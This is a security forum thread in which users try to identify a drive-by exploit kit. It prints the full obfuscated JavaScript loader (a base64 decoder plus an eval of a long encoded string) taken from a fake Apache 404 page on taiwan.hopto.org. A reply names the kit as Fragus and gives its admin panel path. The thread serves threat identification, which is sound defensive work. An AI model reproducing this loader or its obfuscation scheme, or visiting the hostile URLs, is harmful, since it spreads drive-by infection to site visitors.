taiwan.hopto.org

[eoin.miller]

Not sure what kind of drive by kit this is, anyone else seen this kind?

taiwan.hopto.org

http://taiwan.hopto.org/~agtn/mod/show.php?s=aabb330006

Yes I know it *looks* like a standard apache 404 page, but if you look it has a bunch of obfuscated javascript in that 404 page.

jsunpack report:
http://jsunpack.jeek.org/dec/go?report=a84374c1a50998f816edea5e00d5c0743be8afb8

Code: [Select]

<!--
var CRYPT={signature:'AZrTeLpOH',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('155200200201190127194191170115142217165151133228178143185198214155186187187167188187180202166186173199128180163141200132176143212194170115168218184172184230177177118201213193187185185147120168163223188149176184144126141211171199199126190183170136194232183152157230159122155202212193209198209146171180167220149220153179186127167171226193201163165185172136198232182206142231169143154201189172217126201167145168187202162175174222157120154177234199191163193136162174160229183151161167176159154201212193171126209166172169190185141222152222145187165177214196199186189188146174143218184210184222168160147208213189154195210151158175187201137223152221199180163199214132198143220134162174147235159173166216178177131142194168166131213147192182179202174213166162149120163141187201200147232128162115198231183222129227169159118200214155204131213146187179165202200213166217183189154178204196191126182127170116163231183172196161169122173207213133217128200162125172180202162207175221187191165161222202199181165191170174172222185170133221154139165156204155158181202162138131179165158219165221149120139211221188181159160199147153206226183149184229178123147194212155221184202147121113189224170209155162153193155177184198180127160154169152179225182210146162176159165194214155158197188189138180190201184213174222157170166160162201191147198201161116164226183173158224177122117207211171154183202167176145180219187211157199161190154199199187186145194150146186197218164184124232154160181202213132209193211130154169188185204209166180128120164200200192180126186200162152160228163152125169181159151205213134186179209166161176190164192218166183136123141197184190201147220129162151194194173210188220168123146202215135191180211184138171188164137149175221136187145177167133199147231134172137164167185151154230177182147211212134220133210188158116163183154207176183187122155176218164190185224187161116171225158149146218178181122171196153190193197148154136164235191156178199157176165161192195176147197191173116138189181188165223152159143208212194183197210129191177191165166222177200195178163140167132200185169194152152143222184222142178168123147202214193187165196129146178180201162149151179179153147159203201186147194188153116172235182168175224158123114196203172183182209146176173165202200158178193191184155195218190199126165127171174147229159189192224178120173207213135183180210150192173180182133149175222165180144141163141168185220188147136198236167188129234179143135205212155187183187167188115179202157204176199148129163199184134198163212183172136147235160211162234169160139156204134187193212146125113188162204219176162165193146140184206191159215191151115198223159173162216155181173207204155187128196129161176163223174213175221165181163141217189176159181136148149159226185152166216178177131209204155191184210150158181180201137149156199161190154141200200191163165127148174168235174188146160169157151205204171150184210189153176164164170217165221165179139211221139191147169185172152139222182211157229168181122197215167154180211151138173188223166169173183187187155157218203191147202187170136176230174188129160154156181209204155191184210150158181180201137149152222179184155162196195181159211199146187206233174172166220177143151206204171154124188188176173187201184212176180127182142173213139200147194188162152210222182188162229179139118212213193178133186200124183189185166210152222145183164157213139200147194188162152210222182188162229179139118138215172167184192162172169189186150216173199157176165161222202199181169198162136179224163152125220177144143198215135191180211184138184180185174209174183165188155177167132181163194197161116176230174188129160155181143211204171171124202164158180180201133209174222160183139140222193200185182195162148189226163152142219169181151205204171150184210189153182189164170149157200161120164199222189201164194187147132190236183210153222155139164207190135167183202184125184187186149211151196195191155161204192199147198195162152143162160211154220179141135138214156175188201189158113180197187211176162187179165161217194177144185198149132197169183172158221169159185198212171187193212146125187180202166167176184161193162177188133201147197190146115194222181188176223179139164205191190166195187163188184180185174209174183165188155177167132177186190187172134160162184173150224168182151138204167204186211130154118188185169211152179179179162178192203199147182132151174143232182210161167153193172145204155158182212166121173188224165218165221136179166173167188200148178187170174172182181172184227169139169209204155191184210150158181180201137149151196195129132200192192201146194191170152176232184189157223152179143208212172167191202167154173165181191156149217198193142158179203176160228136162152210236174189192180177122114209212155187124202162175177169165133158143222145179155195217196180195173140'));
//-->

[SysAdMini]

Not sure what kind of drive by kit this is, anyone else seen this kind?

It's a Fragus exploit kit

Code: [Select]

taiwan.hopto.org/~agtn/mod/admin.php